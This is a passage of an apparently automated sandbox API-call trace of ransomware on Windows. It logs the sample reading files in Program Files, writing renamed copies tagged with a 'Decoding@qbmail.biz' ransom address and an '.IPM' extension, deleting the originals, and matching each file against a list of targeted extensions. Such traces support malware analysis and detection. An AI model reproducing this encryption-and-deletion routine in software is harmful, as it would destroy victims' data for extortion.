lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0077.051] SetEndOfFile (hFile=0x204) returned 1 [0077.051] CloseHandle (hObject=0x204) returned 1 [0077.056] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.056] SetEndOfFile (hFile=0x1f8) returned 1 [0077.058] CloseHandle (hObject=0x1f8) returned 1 [0077.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0077.059] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0077.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.059] lstrlenW (lpString=".doc") returned 4 [0077.059] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.059] lstrlenW (lpString=".docx") returned 5 [0077.060] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0077.060] lstrlenW (lpString=".pdf") returned 4 [0077.060] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.060] lstrlenW (lpString=".xls") returned 4 [0077.060] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.060] lstrlenW (lpString=".xlsx") returned 5 [0077.060] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0077.060] lstrlenW (lpString=".ppt") returned 4 [0077.060] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.060] lstrlenW (lpString=".zip") returned 4 [0077.060] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.060] lstrlenW (lpString=".rar") returned 4 [0077.060] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.060] lstrlenW (lpString=".bz2") returned 4 [0077.060] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.060] lstrlenW (lpString=".7z") returned 3 [0077.060] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.061] lstrlenW (lpString=".dbf") returned 4 [0077.061] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.061] lstrlenW (lpString=".1cd") returned 4 [0077.061] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.061] lstrlenW (lpString=".jpg") returned 4 [0077.061] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.061] lstrlenW (lpString=".doc") returned 4 [0077.061] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.061] lstrlenW (lpString=".docx") returned 5 [0077.061] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0077.061] lstrlenW (lpString=".pdf") returned 4 [0077.061] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.061] lstrlenW (lpString=".xls") returned 4 [0077.062] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.062] lstrlenW (lpString=".xlsx") returned 5 [0077.062] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0077.062] lstrlenW (lpString=".ppt") returned 4 [0077.062] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.062] lstrlenW (lpString=".zip") returned 4 [0077.062] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.062] lstrlenW (lpString=".rar") returned 4 [0077.062] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.062] lstrlenW (lpString=".bz2") returned 4 [0077.062] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.062] lstrlenW (lpString=".7z") returned 3 [0077.062] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.062] lstrlenW (lpString=".dbf") returned 4 [0077.062] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.063] lstrlenW (lpString=".1cd") returned 4 [0077.063] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0077.063] lstrlenW (lpString=".jpg") returned 4 [0077.063] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.063] lstrcmpiW (lpString1=".JPG", lpString2=".IPM") returned 1 [0077.063] lstrlenW (lpString="MS.JPG") returned 6 [0077.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0077.367] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1061) returned 1 [0077.367] CloseHandle (hObject=0x1d0) returned 1 [0077.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0077.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0077.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0077.368] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.368] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0077.368] GetLastError () returned 0x0 [0077.368] ReadFile (in: hFile=0x1d0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x425, lpOverlapped=0x0) returned 1 [0077.372] WriteFile (in: hFile=0x1d8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x430, lpOverlapped=0x0) returned 1 [0077.373] ReadFile (in: hFile=0x1d0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.373] WriteFile (in: hFile=0x1d8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0077.373] SetEndOfFile (hFile=0x1d8) returned 1 [0077.373] CloseHandle (hObject=0x1d8) returned 1 [0077.376] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.376] SetEndOfFile (hFile=0x1d0) returned 1 [0077.378] CloseHandle (hObject=0x1d0) returned 1 [0077.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0077.378] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0077.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.378] lstrlenW (lpString=".doc") returned 4 [0077.378] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0077.378] lstrlenW (lpString=".docx") returned 5 [0077.379] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0077.379] lstrlenW (lpString=".pdf") returned 4 [0077.379] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0077.379] lstrlenW (lpString=".xls") returned 4 [0077.379] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0077.379] lstrlenW (lpString=".xlsx") returned 5 [0077.379] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0077.379] lstrlenW (lpString=".ppt") returned 4 [0077.379] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0077.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.379] lstrlenW (lpString=".zip") returned 4 [0077.379] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0077.379] lstrlenW (lpString=".rar") returned 4 [0077.379] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0077.379] lstrlenW (lpString=".bz2") returned 4 [0077.379] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0077.379] lstrlenW (lpString=".7z") returned 3 [0077.379] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0077.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.379] lstrlenW (lpString=".dbf") returned 4 [0077.379] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0077.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.379] lstrlenW (lpString=".1cd") returned 4 [0077.379] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0077.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.379] lstrlenW (lpString=".jpg") returned 4 [0077.380] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0077.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.380] lstrlenW (lpString=".doc") returned 4 [0077.380] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0077.380] lstrlenW (lpString=".docx") returned 5 [0077.380] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0077.380] lstrlenW (lpString=".pdf") returned 4 [0077.380] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0077.380] lstrlenW (lpString=".xls") returned 4 [0077.380] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0077.380] lstrlenW (lpString=".xlsx") returned 5 [0077.380] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0077.380] lstrlenW (lpString=".ppt") returned 4 [0077.380] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0077.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.380] lstrlenW (lpString=".zip") returned 4 [0077.380] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0077.380] lstrlenW (lpString=".rar") returned 4 [0077.380] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0077.380] lstrlenW (lpString=".bz2") returned 4 [0077.380] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0077.380] lstrlenW (lpString=".7z") returned 3 [0077.381] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0077.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.381] lstrlenW (lpString=".dbf") returned 4 [0077.381] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0077.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.381] lstrlenW (lpString=".1cd") returned 4 [0077.381] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0077.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0077.381] lstrlenW (lpString=".jpg") returned 4 [0077.381] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0077.381] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0077.381] lstrlenW (lpString="boxed-join.avi") returned 14 [0077.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.375] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=33280) returned 1 [0078.375] CloseHandle (hObject=0x1f8) returned 1 [0078.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0078.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.376] lstrlenW (lpString=".doc") returned 4 [0078.376] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.376] lstrlenW (lpString=".docx") returned 5 [0078.376] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0078.376] lstrlenW (lpString=".pdf") returned 4 [0078.376] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.376] lstrlenW (lpString=".xls") returned 4 [0078.376] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.376] lstrlenW (lpString=".xlsx") returned 5 [0078.376] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0078.376] lstrlenW (lpString=".ppt") returned 4 [0078.376] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.376] lstrlenW (lpString=".zip") returned 4 [0078.376] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.376] lstrlenW (lpString=".rar") returned 4 [0078.377] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.377] lstrlenW (lpString=".bz2") returned 4 [0078.377] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.377] lstrlenW (lpString=".7z") returned 3 [0078.377] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.377] lstrlenW (lpString=".dbf") returned 4 [0078.377] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.377] lstrlenW (lpString=".1cd") returned 4 [0078.377] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.377] lstrlenW (lpString=".jpg") returned 4 [0078.377] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.377] lstrlenW (lpString=".doc") returned 4 [0078.377] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.378] lstrlenW (lpString=".docx") returned 5 [0078.378] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0078.378] lstrlenW (lpString=".pdf") returned 4 [0078.378] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.378] lstrlenW (lpString=".xls") returned 4 [0078.378] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.378] lstrlenW (lpString=".xlsx") returned 5 [0078.378] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0078.378] lstrlenW (lpString=".ppt") returned 4 [0078.378] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.378] lstrlenW (lpString=".zip") returned 4 [0078.378] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.378] lstrlenW (lpString=".rar") returned 4 [0078.378] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.378] lstrlenW (lpString=".bz2") returned 4 [0078.378] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.378] lstrlenW (lpString=".7z") returned 3 [0078.379] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.379] lstrlenW (lpString=".dbf") returned 4 [0078.379] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.379] lstrlenW (lpString=".1cd") returned 4 [0078.379] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0078.379] lstrlenW (lpString=".jpg") returned 4 [0078.379] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.379] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.379] lstrlenW (lpString="base_ca.xml") returned 11 [0078.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0079.101] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=3166) returned 1 [0079.101] CloseHandle (hObject=0x1d0) returned 1 [0079.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0079.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.102] lstrlenW (lpString=".doc") returned 4 [0079.102] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.102] lstrlenW (lpString=".docx") returned 5 [0079.102] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0079.102] lstrlenW (lpString=".pdf") returned 4 [0079.102] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.102] lstrlenW (lpString=".xls") returned 4 [0079.102] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.103] lstrlenW (lpString=".xlsx") returned 5 [0079.103] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0079.103] lstrlenW (lpString=".ppt") returned 4 [0079.103] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.103] lstrlenW (lpString=".zip") returned 4 [0079.103] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.103] lstrlenW (lpString=".rar") returned 4 [0079.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.103] lstrlenW (lpString=".bz2") returned 4 [0079.103] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.103] lstrlenW (lpString=".7z") returned 3 [0079.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.103] lstrlenW (lpString=".dbf") returned 4 [0079.103] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.103] lstrlenW (lpString=".1cd") returned 4 [0079.103] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.104] lstrlenW (lpString=".jpg") returned 4 [0079.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.104] lstrlenW (lpString=".doc") returned 4 [0079.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.104] lstrlenW (lpString=".docx") returned 5 [0079.104] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0079.104] lstrlenW (lpString=".pdf") returned 4 [0079.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.104] lstrlenW (lpString=".xls") returned 4 [0079.104] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.104] lstrlenW (lpString=".xlsx") returned 5 [0079.104] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0079.104] lstrlenW (lpString=".ppt") returned 4 [0079.105] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.105] lstrlenW (lpString=".zip") returned 4 [0079.105] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.105] lstrlenW (lpString=".rar") returned 4 [0079.105] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.105] lstrlenW (lpString=".bz2") returned 4 [0079.105] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.105] lstrlenW (lpString=".7z") returned 3 [0079.105] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.105] lstrlenW (lpString=".dbf") returned 4 [0079.105] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.105] lstrlenW (lpString=".1cd") returned 4 [0079.105] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0079.105] lstrlenW (lpString=".jpg") returned 4 [0079.105] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.106] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0079.106] lstrlenW (lpString="oskpredbase.xml") returned 15 [0079.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0079.234] 